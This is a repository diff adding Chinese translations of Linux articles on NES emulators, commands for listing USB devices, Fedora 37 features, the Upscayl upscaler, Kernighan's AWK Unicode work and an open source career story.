说,“在开源社区有大量的创新在继续发生,其结果使我们所有人受益。数不清的人正在为其他人树立一个榜样。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/google-surpasses-microsoft-in-terms-of-open-source-contributors-says-a-study/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202208/20220822 3 NES Emulators to Play Old NES Games on Linux.md b/published/202208/20220822 3 NES Emulators to Play Old NES Games on Linux.md new file mode 100644 index 0000000000..e5081a56ab --- /dev/null +++ b/published/202208/20220822 3 NES Emulators to Play Old NES Games on Linux.md @@ -0,0 +1,106 @@ +[#]: subject: "3 NES Emulators to Play Old NES Games on Linux" +[#]: via: "https://www.debugpoint.com/3-nes-emulators-to-play-old-nes-games-in-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14974-1.html" + +3 个可在 Linux 上玩旧 NES 游戏的 NES 模拟器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/28/162533h41z1kynkyn5n53q.jpg) + +> 快速了解一下在 Linux 中玩老式 NES 游戏的 3 个 NES 模拟器。此外,我们也提供了安装指南和特性介绍。 + +如果你想在最新的 Ubuntu、Linux Mint 版本中玩超级马里奥、口袋妖怪等老式复古游戏,有很多可用的模拟器。如果你想玩老式复古游戏,可以尝试以下三个模拟器。 + +### 1、ZSNES + +[ZSNES][1] 是一个 [超级任天堂][2] 模拟器,可以在 Windows、Linux、FreeBSD 和 DOS 上运行。它作为 GUI 界面运行,你可以在其中加载 NES 游戏的 ROM。 + +这是在 Ubuntu、Debian 和 Linux Mint 中安装 ZSNES 的方法。从终端运行以下命令: + +``` +sudo apt install zsnes +``` + +对于 Fedora,在 [使用这个指南设置 RPM fusion][3] 后运行以下命令进行安装。因为它需要一些 Fedora 官方发行版没有提供的模块。 + +``` +sudo dnf install zsnes +``` + +安装后,从 Dash 中搜索 ZSNES 或在终端中输入 zsnes。 + +![ZSNES Main][4] + +![Play old NES games using ZSNES in Ubuntu][5] + +### 2、Higan + +higan 是 Nintendos SNES、NES、Gameboy、Gameboy Color 和 Gameboy Advance 的模拟器。它以前被称为 bsnes,并且 SNES 仿真特别完整和完善。 + +higan 努力提供最忠实的硬件仿真。它专注于准确性和简洁的代码,而不是速度和特殊功能。它旨在作为参考仿真器来记录底层硬件的工作原理。 + +这是从命令行安装 higan 的方法。 + +``` +sudo apt install higan +``` + +![Higan Running in Ubuntu][6] + +### 3、GFCEU + +GNOME FCE Ultra(gfceu)是用于 GNOME 桌面的 FCE Ultra 任天堂娱乐系统的图形前端。 Gfceu 简化了用户的游戏体验,并提供了干净、简单和直观的界面。 + +从终端运行以下命令,为 Ubuntu、Linux Mint 和相关发行版安装 gfceu。 + +``` +sudo apt install gfceu +``` + +对于 Fedora,运行以下命令进行安装。请确保在运行此命令之前 [使用这个指南设置 RPM fusion][7]。因为它需要某些官方 Fedora 发行版未提供的软件包。 + +``` +sudo dnf install gfceu +``` + +![gfceu running in Ubuntu][8] + +### 下载游戏 ROM + +有数百个网站提供 NES ROM。这里有几个你可以下载 NES ROM 的地方。下载后,解压缩并从模拟器菜单中打开。 + +* [https://romsmania.cc/roms/nintendo][9] +* [https://romsmode.com/][12] +* [www.emuparadise.me][13] + +使用这些模拟器享受和玩旧 NES 游戏。请让我知道你最喜欢哪一个。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/3-nes-emulators-to-play-old-nes-games-in-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: http://www.zsnes.com/ +[2]: https://en.wikipedia.org/wiki/Super_Nintendo_Entertainment_System +[3]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[4]: https://www.debugpoint.com/wp-content/uploads/2016/07/ZSNES-Main.png +[5]: https://www.debugpoint.com/wp-content/uploads/2016/07/ZSNES-Running-in-Ubuntu.png +[6]: https://www.debugpoint.com/wp-content/uploads/2016/07/Higan-Running-in-Ubuntu.png +[7]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[8]: https://www.debugpoint.com/wp-content/uploads/2016/07/gfceu-running-in-Ubuntu.png +[9]: https://romsmania.cc/roms/nintendo +[12]: https://romsmode.com/ +[13]: http://www.emuparadise.me/Nintendo_Entertainment_System_ROMs/13 diff --git a/published/202208/20220822 How to List USB Devices Connected to Your Linux System.md b/published/202208/20220822 How to List USB Devices Connected to Your Linux System.md new file mode 100644 index 0000000000..48d7b44895 --- /dev/null +++ b/published/202208/20220822 How to List USB Devices Connected to Your Linux System.md @@ -0,0 +1,188 @@ +[#]: subject: "How to List USB Devices Connected to Your Linux System" +[#]: via: "https://itsfoss.com/list-usb-devices-linux/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14981-1.html" + +如何列出连接到 Linux 系统的 USB 设备 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/30/094927nu106ijzz0iiiwj1.jpg) + +你如何列出 Linux 中的 USB 设备? + +这个问题可以有两种含义。 + +* 你的系统上有(检测到)多少个 USB 端口? +* 系统安装(插入)了多少个 USB 设备/磁盘? + +大多数情况下,人们有兴趣了解哪些 USB 设备连接到系统。这可能有助于对 USB 设备进行故障排除。 + +最可靠的方法是使用这个命令: + +``` +lsusb +``` + +它显示了网络摄像头、蓝牙和以太网端口以及 USB 端口和挂载的 USB 驱动器。 + +![list usb with lsusb command linux][1] + +但是理解 `lsusb` 的输出并不容易,当你只想查看和访问已挂载的 USB 驱动器时,你可能不需要那么复杂。 + +我将向你展示可用于列出连接到系统的 USB 设备的各种工具和命令。 + +除非另有说明,在我的例子中连接了一个 2GB 的 U 盘、1TB 的外置硬盘、通过 MTP 连接的 Android 智能手机,以及 USB 鼠标。 + +让我从桌面用户最简单的选项开始。 + +### 以图形方式检查连接的 USB 设备 + +你的发行版的文件管理器可以用来查看连接到你的计算机的 USB 存储设备。正如你在下面的 Nautilus(GNOME 文件管理器)的截图中看到的那样。 + +连接的设备显示在边栏中(此处仅显示 USB 存储设备)。 + +![Nautilus showing connected USB devices][2] + +你还可以使用 GNOME “磁盘Disks” 或 Gparted 等 GUI 应用来查看、格式化和分区连接到计算机的 USB 存储设备。默认情况下,大多数使用 GNOME 桌面环境的发行版都预装了 GNOME “磁盘”。 + +这个应用也可以用作一个非常好的 [分区管理器][3]。 + +![Use GNOME Disks to list mounted USB devices][4] + +*图形工具足够了*。让我们讨论可用于列出 USB 设备的命令。 + +### 使用 mount 命令列出挂载的 USB 设备 + +`mount` 命令用于挂载 Linux 中的分区。你还可以使用相同的命令列出 USB 存储设备。 + +通常,USB 存储挂载在 `media` 目录中。因此,在媒体上过滤 `mount` 命令的输出将为你提供所需的结果。 + +``` +mount | grep media +``` + +![][5] + +### 使用 df 命令 + +[df 命令][6] 是一个标准的 UNIX 命令,用于了解可用磁盘空间的大小。你还可以使用此命令列出已连接的 USB 存储设备。 + +``` +df -Th | grep media +``` + +![Use df command to list mounted USB drives][7] + +### 使用 lsblk 命令 + +`lsblk` 命令用于列出终端中的块设备。因此,这里也通过过滤包含 `media` 关键字的输出,你可以获得所需的结果,如下面的截图所示。 + +``` +lsblk | grep media +``` + +![Using lsblk to list connected USb devicesUsing blkid to list connected USb devices][8] + +如果你想知道,也可以使用 `blkid` 命令了解 UUID、标签、块大小等。 + +此命令提供更多输出,因为你的内部驱动器也被列出。因此,你必须参考上述命令来识别你希望了解的设备。 + +``` +sudo blkid +``` + +![Using blkid to list connected USb devices][9] + +### 使用 fdisk + +`fdisk` 是一款不错的老式命令行分区管理器,它还可以列出连接到你计算机的 USB 存储设备。这个命令的输出也很长。因此,通常连接的设备会列在底部,如下所示: + +``` +sudo fdisk -l +``` + +![Use fidsk to list usb devices][10] + +### 检查 /proc/mounts + +通过检查 `/proc/mounts` 文件,你可以列出 USB 存储设备。如你所见,它向你显示了文件系统使用的挂载选项以及挂载点。 + +``` +cat /proc/mounts | grep media +``` + +![][11] + +### 使用 lsusb 命令显示所有 USB 设备 + +我们重新审视有名的 `lsusb` 命令。 + +Linux 内核开发人员 [Greg Kroah-Hartman][12] 开发了这个方便的 [usbutils][13] 程序。这为我们提供了两个命令,即 `lsusb` 和 `usb-devices` 来列出 Linux 中的 USB 设备。 + +`lsusb` 命令列出系统中有关 USB 总线的所有信息。 + +``` +lsusb +``` + +如你所见,此命令还显示了我已连接的鼠标和智能手机,这与其他命令(只能列出 USB 存储设备)不同。 + +![][14] + +第二个命令 `usb-devices` 提供了更多详细信息,但未能列出所有设备,如下所示。 + +``` +usb-devices +``` + +![][15] + +Greg 还开发了一个名为 [usbview][16] 的小型 GTK 应用。此应用向你显示连接到计算机的所有 USB 设备的列表。 + +该应用可在大多数 Linux 发行版的官方仓库中找到。你可以使用发行版的 [包管理器][17] 轻松安装 `usbview` 包。 + +安装后,你可以从应用菜单启动它。你可以选择任何列出的设备以获取详细信息,如下面的截图所示。 + +![][18] + +### 总结 + +这里列出的大多数方法仅限于 USB 存储设备。只有两种方法可以列出其他外围设备; usbview 和 usbutils。 我想我们应该感谢 Linux 内核开发人员 Greg 开发了这些方便的工具。 + +我知道还有很多方法可以列出连接到系统的 USB 设备。 欢迎你提出建议。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/list-usb-devices-linux/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/list-usb-with-lsusb-command-linux.png +[2]: https://itsfoss.com/wp-content/uploads/2022/08/nautilus-usb.png +[3]: https://itsfoss.com/partition-managers-linux/ +[4]: https://itsfoss.com/wp-content/uploads/2022/08/gnome-disks-usb.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/mount-cmd-usb.png +[6]: https://linuxhandbook.com/df-command/ +[7]: https://itsfoss.com/wp-content/uploads/2022/08/df-cmd-usb.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/blkid-cmd-usb.png +[9]: https://itsfoss.com/wp-content/uploads/2022/08/blkid-cmd-usb.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/fdisk-cmd-usb.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/proc-dir-usb.png +[12]: https://en.wikipedia.org/wiki/Greg_Kroah-Hartman +[13]: https://github.com/gregkh/usbutils +[14]: https://itsfoss.com/wp-content/uploads/2022/08/lsusb-cmd.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/usb-devices-cmd.png +[16]: https://github.com/gregkh/usbview +[17]: https://itsfoss.com/package-manager/ +[18]: https://itsfoss.com/wp-content/uploads/2022/08/usbview.png diff --git a/published/202208/20220823 Fedora 37- Top New Features and Release Wiki.md b/published/202208/20220823 Fedora 37- Top New Features and Release Wiki.md new file mode 100644 index 0000000000..9fdc153e12 --- /dev/null +++ b/published/202208/20220823 Fedora 37- Top New Features and Release Wiki.md @@ -0,0 +1,122 @@ +[#]: subject: "Fedora 37: Top New Features and Release Wiki" +[#]: via: "https://www.debugpoint.com/fedora-37/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14968-1.html" + +Fedora 37 新功能披露 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/26/000924lz0vl82vsq2zf0v7.jpg) + +> 关于 Fedora 37 及其新特性、发布细节等等。 + +Fedora 37 的开发工作已经结束,Beta 测试版即将来临。在这个阶段,Fedora 37 的功能和软件包已经最终确定。 + +在这篇常规的功能指南页面中,我总结了你应该知道的关于 Fedora 37 的基本功能,让你对预期的功能有一个概念。但是在这之前,先看看暂定的时间表: + +* 测试版的发布日期是 2022 年 9 月 13 日。后备日期是 2022 年 9 月 20 日。 +* Fedora 37 最终版计划于 2022 年 10 月 18 日发布。后备日期是 2022 年 10 月 25 日。 + +![Fedora 37 Workstation with GNOME 43][1] + +### Fedora 37 的主要新功能 + +#### 内核 + +首先是构成核心的关键项目。Fedora 37 采用了 Linux 内核 5.19,这是目前最新的主线内核。Linux 内核 5.19 带来了一些基本功能,比如修复了 Retbleed 漏洞、支持 ARM、支持苹果 M1 NVMe SSD 控制器以及许多此类功能,你可以在我们的 [内核功能指南][2] 中了解更多。 + +使用最新内核的好处是,你可以保证你使用的是此时此刻最新、最好的硬件支持。 + +其次,桌面环境在这个版本中得到了更新。 + +#### 桌面环境 + +Fedora 37 是第一个带来令人惊叹的 GNOME 43 桌面的发行版,它带来了一些优秀的功能,比如: + +* [重新改版后的快速设置功能][3],带有药片式按钮 +* 移植了 GTK4 和 libadwaita 的文件管理器 v43(nautilus) +* 带有橡皮筋、徽章、响应式侧边栏等功能的文件管理器 +* 更新了 GNOME Web,支持 WebExtension API + +还有许多你期待了多年的功能。请查看我的 [GNOME 43 功能指南][4] 以了解更多。 + +Fedora 37 带来了 KDE Plasma 5.26 桌面环境,包括大量的新功能、性能改进和错误修复。KDE Plasma 桌面最值得注意的功能包括: + +* 一个更新的概览屏幕 +* 深色和浅色主题的动态墙纸 +* 更新的 KDE 框架和应用程序 + +由于轻量级桌面 LXQt 更新了稳定版 1.1.0,它来到了 Fedora 37 中。LXQt 1.1.0 为深色主题带来了一个外观统一的默认调色板、应用程序菜单的两个变体(简单和紧凑)和重新排列的 GTK 设置。此外,LXQt 1.1.0 也开始了 Qt 6.0 桌面组件移植的初始工作。所有这些 bug 修复和增强功能都在 Fedora LXQt 版本中出现。 + +此外,其他主要的桌面版本由于没有重要的新的更新到来,仍然保持在当前版本,即 Xfce 4.16 和 MATE 1.24 用在各自的 Fedora 定制版中。 + +让我们看看这个版本中影响所有 Fedora 定制版的系统级变化是什么。 + +#### 系统级的变化 + +最重要的变化是对树莓派 4 的正式支持。得益于多年来的努力,你现在可以在最喜欢的树莓派上享受到开箱即用的 Fedora 37 了。 + +Fedora Linux 一直是推动技术发展的先锋,在其他发行版之前就采用了最新的功能。因此,现在在 KDE Plasma(和 Kinoite)和不同的定制版中,SDDM 显示管理器默认采用了 Wayland。这样,从 Fedora 发行版方面就完成了 Wayland 各个定制版的过渡。 + +正如我 [之前的报道][5],Fedora Linux 37 计划为我们提供 Anaconda 的网页安装程序的预览镜像。它可能不会在发布后立即可用,但它应该在发布后的几天内出现。 + +其他值得注意的功能包括将默认的主机名从 `fedora` 改为 `localhost`,以避免一些第三方系统配置检测问题。 + +除此之外,Fedora Core OS 被打造为 Fedora 官方版本,现在与服务器版、物联网版和云计算版同列,以便你可以更好地发现和采用它。最小资源占用的 Fedora Core OS 主要用于容器工作负载,并带来了自动更新和额外的功能。 + +遵循传统,这个版本也有一个 [全新的墙纸][6],有夜间和白天两个版本。我必须得说,它看起来很棒(见上面的桌面图片)。 + +最后,在这个版本中,Fedora 删除了 32 位的 Java 包,包括 JDK 8、11 和 17,因为使用率很低。此外,openssl 1.1 软件包也被弃用。 + +工具链、应用程序和编程栈更新如下: + +* Glibc 2.36 和 Binutils 2.38 +* Node.js 18.x +* Perl 5.36 +* Python 3.11 + +### Fedora 37 功能摘要 + +那么,这个版本的功能就到此为止了。下面是对 Fedora 37 功能的总结: + +* Linux 内核 5.19 +* GNOME 43 +* KDE Plasma 5.26 +* Xfce 4.16 +* MATE 1.24 +* LXQt 1.1.0 +* 新的基于网页的安装程序的预览镜像 +* SDDM 显示管理器默认采用 Wayland(在 KDE Plasma 和其他桌面环境中)。 +* 官方支持树莓派 4 +* Fedora Core OS 成为官方版本 +* 一些关键软件包放弃了 32 位支持 +* 还有相关的工具链和编程语言更新。 + +如果你有空闲时间,你可以 [体验一下][7]。虽然,它是非常不稳定的,不推荐运行测试版之前的开发版。 + +**那么,这个版本中你最喜欢的功能是什么?请在评论区告诉我**。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/fedora-37/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/Fedora-37-Workstation-with-GNOME-43-1024x572.jpg +[2]: https://www.debugpoint.com/linux-kernel-5-19/ +[3]: https://www.debugpoint.com/gnome-43-quick-settings/ +[4]: https://www.debugpoint.com/gnome-43/ +[5]: https://debugpointnews.com/fedora-37-anaconda-web-ui-installer/ +[6]: https://debugpointnews.com/fedora-37-wallpaper/ +[7]: https://dl.fedoraproject.org/pub/fedora/linux/development/37/Workstation/x86_64/iso/ diff --git a/published/202208/20220824 Linux-First AI Image Upscaler Upscayl Released its First Version.md b/published/202208/20220824 Linux-First AI Image Upscaler Upscayl Released its First Version.md new file mode 100644 index 0000000000..8f545093ac --- /dev/null +++ b/published/202208/20220824 Linux-First AI Image Upscaler Upscayl Released its First Version.md @@ -0,0 +1,96 @@ +[#]: subject: "Linux-First AI Image Upscaler Upscayl Released its First Version" +[#]: via: "https://news.itsfoss.com/upscayl-version-1-release/" +[#]: author: "Abhishek https://news.itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14976-1.html" + +Linux 优先的 AI 图像提升器 Upscayl 发布了第一个版本 +====== + +> 你不是每天都能遇到一个采用 “Linux 优先” 方式的应用程序。 + +![Linux-First AI Image Upscaler Upscayl Released its First Version][1] + +你是不是有一张世纪初的像素化、低分辨率的图片?由于人工智能的进步,你可以轻松地将像素化的图像提升为分辨率更好的图像。 + +使用普通的图像编辑器需要人工的努力来提升图像。 + +有大量的在线人工智能图像提升器,但是你不能信任它们对你的数据的处理。 + +一个新的项目试图解决这个问题,为你提供一个简单的桌面应用程序,让你在一次点击中增强低分辨率照片。 + +它的第一个版本已经发布。 + +### Upscayl 的功能 + +[Upscayl][2] 是一个跨平台的应用程序,以 Linux 优先的理念构建。 + +这仅仅意味着 Linux 的构建得到优先考虑,但其他平台也会得到支持。 + +Upscayl 使用 Python 和 JavaScript 开发,给出了一个简单的界面,你可以选择输入图片和输出文件夹,然后点击 “Upscayl” 按钮来增强图片。 + +### 使用 Upscayl + +我的电脑上没有太多模糊的照片。并不是说我是一个优秀的摄影师,只是懒得在成千上万的照片中寻找它们。 + +不过,我还是设法弄到了一张 2011 年的模糊的老照片(那是 11 年前的照片,现在可以说是老照片了)。 + +![厨房的模糊老照片][4] + +不要因为我随手拍了一张厨房柜台的照片而对我做出评价。一定有一个很好的理由(或者我觉得)。 + +无论如何。我试着用 Upscayl 对图片进行放大。 + +![使用 Upscayl][5] + +这需要相当大的处理能力,但我的 8 核、第 11 代 i7 处理器和 16GB 内存可以轻松应对。 + +![Upscayl 工作时 CPU 的使用情况][6] + +单张图片的处理花了大约 4 分钟,435KB 的图片最终变成了 24MB 的图片。说实话,我几乎没有注意到明显的差异。 + +![由 Upscayl 放大的图像][7] + +我想把最后的结果嵌入这里的文章中。但是上传一张 24MB 的图片对我的服务器和你的浏览器来说都有点过分。 + +### 安装 Upscayl + +不过,我这个不怎么成功的实验不应该阻止你自己去尝试它。 + +目前,该应用程序可用于 Linux。对 Windows 和 macOS 的支持正在计划中。 + +你可以得到 Upscayl 的 AppImage 和 Flatpak 软件包。我使用的是 AppImage 版本,你可以使用你喜欢的任何一种。 + +这些文件可以在发布页面上找到。 + +> **[下载 Upscayl][8]** + +如果你喜欢这个项目,别忘了在 GitHub 上给它加星。 + +> **[GitHub - TGS963/upscayl][9]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/upscayl-version-1-release/ + +作者:[Abhishek][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/upscayl-image-upscaler.png +[2]: https://github.com/TGS963/upscayl +[3]: https://news.itsfoss.com/content/media/2022/08/upscayl-in-action.mp4 +[4]: https://news.itsfoss.com/content/images/2022/08/old-blurry-photo.jpg +[5]: https://news.itsfoss.com/content/images/2022/08/Using-Upscayl-for-image-processing.png +[6]: https://news.itsfoss.com/content/images/2022/08/Upscayl-CPU-usage.png +[7]: https://news.itsfoss.com/content/images/2022/08/Upscayl-final-result.png +[8]: https://github.com/TGS963/upscayl/releases +[9]: https://github.com/TGS963/upscayl diff --git a/published/202208/20220824 The 80-Year Computer Scientist Who Termed -Unix- Adds Unicode Support to AWK Code.md b/published/202208/20220824 The 80-Year Computer Scientist Who Termed -Unix- Adds Unicode Support to AWK Code.md new file mode 100644 index 0000000000..3fe938363b --- /dev/null +++ b/published/202208/20220824 The 80-Year Computer Scientist Who Termed -Unix- Adds Unicode Support to AWK Code.md @@ -0,0 +1,69 @@ +[#]: subject: "The 80-Year Computer Scientist Who Termed 'Unix' Adds Unicode Support to AWK Code" +[#]: via: "https://news.itsfoss.com/unix-awk-unicode/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14964-1.html" + +80 高龄的计算机科学家曾为 “Unix” 命名,如今为 AWK 代码添加了 Unicode 支持 +====== + +> 布莱恩·克尼汉在 80 岁的时候还在积极为他的原始项目 AWK 增加代码贡献。这真是鼓舞人心! + +![这位 80 岁的计算机科学家曾提出 “Unix” 这一名字,在 AWK 代码中加入了 Unicode 支持][1] + +布莱恩·克尼汉Brian Kernighan 因其与 Unix 的创造者 肯·汤普森Ken Thompson丹尼斯·里奇Dennis Ritchie 一起的工作而广为人知。他对 Unix 的发展做出了重大贡献。 + +不仅如此,布莱恩·克尼汉还提出了 “Unix” 这个名字,并创造了 “Hello, world” 作为程序的测试短语。 + +他也是《C 编程语言》一书的共同作者(另一位是丹尼斯·里奇)。因此,可以说他是你所知道的关于 Unix、Linux、BSD 和 C 编程语言的演变的重要组成部分。 + +而且,作为一位如今已 80 岁的老人家,他似乎投入了一些时间来为 AWK(一种他在上世纪 70 年代共同创造的脚本语言)增加了一个新的功能。 + +💙 这真是妙极了,对吗?而且,听起真是鼓舞人心! + +注:AWK 仍然是一个处理文本和提取数据的强大工具,忠实于它的最初目的。如果你感到好奇,你可以在 [freeCodeCamp][2] 上了解更多关于它的信息。 + +### 为 AWK 添加 Unicode 支持 + +最近,[The Register][3] 通过一篇发表在 YouTube 上的近期采访,发现了这个功能的增加。 + +从技术上讲,这项贡献早在几个月前就有了,但现在它才得到人们的关注。 + +![和 Brian Kernighan 喝杯咖啡 - Computerphile][4] + +当然,这个功能的增加对很多人来说可能不是什么大事。但是,它背后的努力,以及谁贡献了它,就有了天壤之别。 + +此外,有趣的是,他并不完全了解 Git 的工作原理。所以,考虑到这一点,我认为他在这里的提交做得相当好。 + +在这个提交 “[附上 BWK 的邮件 - onetrueawk/awk@9ebe940][5]” 中,他提到: + +> 一旦我搞清楚了(并做了一些检查,我将尝试提交一个拉取请求。我希望我更了解 git,但尽管有你的帮助,我仍然没能正确地理解,所以这可能需要一段时间。 + +如果你对 Unix 的原始创造者和贡献者以及一路走来的许多重要创新有好奇心,我建议你观看上面链接的采访。 + +你也可以在 [普林斯顿大学网站][6] 上查看他的更多工作和最近的书籍。 + +💬 那么,你对这位 80 岁的 Unix 传奇人物的代码贡献有何看法?你有什么特别佩服他的地方吗?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unix-awk-unicode/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/brian-awk-creator.jpg +[2]: https://www.freecodecamp.org/news/the-linux-awk-command-linux-and-unix-usage-syntax-examples/ +[3]: https://www.theregister.com/2022/08/23/universal_unix_tool_awk_gets/ +[4]: https://youtu.be/GNyQxXw_oMQ +[5]: https://github.com/onetrueawk/awk/commit/9ebe940cf3c652b0e373634d2aa4a00b8395b636 +[6]: https://www.cs.princeton.edu/~bwk/ diff --git a/published/202208/20220826 My open source journey from user to contributor to CTO.md b/published/202208/20220826 My open source journey from user to contributor to CTO.md new file mode 100644 index 0000000000..ed6df63300 --- /dev/null +++ b/published/202208/20220826 My open source journey from user to contributor to CTO.md @@ -0,0 +1,60 @@ +[#]: subject: "My open source journey from user to contributor to CTO" +[#]: via: "https://opensource.com/article/22/8/my-open-source-career-story" +[#]: author: "Jesse White https://opensource.com/users/jwhite-0" +[#]: collector: "lkxed" +[#]: translator: "aftermath0703" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14971-1.html" + +从用户到贡献者到 CTO 的开源之旅 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/27/154503q9yw0rewy2ge2r8f.jpg) + +> 任何考虑在开源领域发展的人都具有无限的可能性。下面是我的故事。 + +当人们问我最喜欢开源的什么时,我的回答很简单:那就是 *开放性* 。在开源中,社区开发者和贡献者所做的工作是在公共领域的,所有人都能看到并从中受益。我对这一理念爱不释手。 + +有多少人可以对他们的劳动成果这样说?有多少人,也许在 50 年后,可以回过头来说:“看看我那天写的代码,有几百/几千/几万人从中受益。”我觉得这比从事那些对世界上大多数人来说都是隐秘的软件工作更令人无比兴奋。 + +我很幸运,我的工作使我置身于一个开源和企业交叉的有趣领域中。如今,我是 [OpenNMS 集团][2] 的首席技术官,这家公司负责维护 [OpenNMS 项目][3]。OpenNMS 是一个领先的开源网络监控和管理平台。 + +虽然我现在的角色让我牢牢扎根于开源领域,但我是以用户和贡献者身份开始的。 + +2007 年,我得到了我的第一份真正的技术工作,在加拿大蒙特利尔的电信服务提供商 Datavalet 技术公司从事网络分析。在五年的时间内,我成长为解决方案架构师,任务是帮助公司选择网络管理解决方案。我们选择了 OpenNMS,正是通过这次经历,我认识到了开源的真正力量。 + +在平台上线时,我们发现了一些缺失的功能,这些功能将有助于优化我们的体验。一位来自 OpenNMS 集团的代表在现场帮助我们进行部署,并建议我参加社区即将举行的 DevJam,与核心开发人员一起建立我们需要的功能。 + +在 DevJam 期间,我很快就融入了团队和社区。我们卷起袖子,开始编码,以创建 Datavalet 所需的增强功能。在几天之内,这个附加的功能就准备好了。这是一次令人惊叹的变革性经历,让我真正看到了开源的力量。 + +一年后,我离职了,在康科迪亚大学全日制学习数学。正是在那里,我再次有机会与 OpenNMS 团队合作,这一次是在该年的谷歌代码之夏的一个项目上。在这个年度计划中,参与者的目标是成功完成开源软件开发项目。 + +代码之夏对我来说是一次改变职业生涯的经历。OpenNMS 的两位负责人参加了我们的项目演示,一年后,OpenNMS 团队邀请我作为一名全栈开发人员加入。 + +我努力工作,迅速晋升,并在 2015 年被任命为首席技术官。我认为这是一项个人成就,也再次验证了开源世界的特别之处。如果你喜欢与社区合作,热爱你所做的工作,你的贡献很快就会得到认可。 + +开源精神也影响了我从个人贡献者到首席技术官的发展,我现在领导着一个由 50 多人组成的产品开发团队。社区本质上是平等的,我与社区贡献者一起工作的经验教会了我如何在环境中领导,而不是控制。 + +我经历了一段奇妙的开源旅程,从用户到贡献者,再到一家开源公司的高管。开源方法超越了技术,因为专有开发环境中经常存在的障碍的进入和增长可以通过协作、透明和社区来克服。因此,对于任何考虑在开源领域工作的人来说,可能性是无限的。我就是证明。 + +我们生活在一个人们正在深刻审视自己的生活及其对世界的影响的时代。在开源公司工作特别有意义,因为我可以直接与用户社区互动并影响他们。终端用户和开发人员之间的经典屏障被打破了,我可以确切地看到我的工作如何改变人们的日常生活,或者激励人们为项目做出贡献。通过对一个项目的共同热爱来建立社区,建立持续一生的联系。 + +我知道这对我来说都是真实的,这也是为什么我对我的工作如此热情。我是一个彻头彻尾的开源极客,并以此为荣。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/my-open-source-career-story + +作者:[Jesse White][a] +选题:[lkxed][b] +译者:[aftermath0703](https://github.com/aftermath0703) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jwhite-0 